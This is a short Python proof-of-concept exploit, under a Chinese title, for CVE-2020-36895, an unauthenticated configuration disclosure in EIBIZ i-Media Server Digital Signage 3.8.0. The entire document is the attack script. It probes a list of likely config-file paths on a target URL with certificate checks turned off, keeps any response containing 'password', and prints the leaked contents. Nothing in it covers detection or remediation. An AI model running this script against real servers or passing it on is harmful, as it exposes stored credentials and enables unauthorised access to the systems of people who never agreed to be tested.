CVE-2020-36895 EIBIZ i-Media Server未授权配置泄露漏洞

import requests # CVE-2020-36895 PoC - Unauthenticated Configuration Disclosure # Target: EIBIZ i-Media Server Digital Signage 3.8.0 def exploit_cve_2020_36895(target_url): """ Exploit for CVE-2020-36895 Unauthenticated configuration file disclosure vulnerability """ # Common paths for configuration file disclosure paths = [ '/SiteConfig.properties', '/config/SiteConfig.properties', '/WEB-INF/SiteConfig.properties', '/admin/SiteConfig.properties', '/config.properties', '/application.properties' ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2020-36895...\n") for path in paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and 'password' in response.text.lower(): print(f"[+] Found exposed configuration at: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Content Length: {len(response.text)}") print(f"\n[+] Configuration Content:\n") print(response.text) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] No vulnerable configuration endpoints found") return None if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com:8080") sys.exit(1) target = sys.argv[1] exploit_cve_2020_36895(target)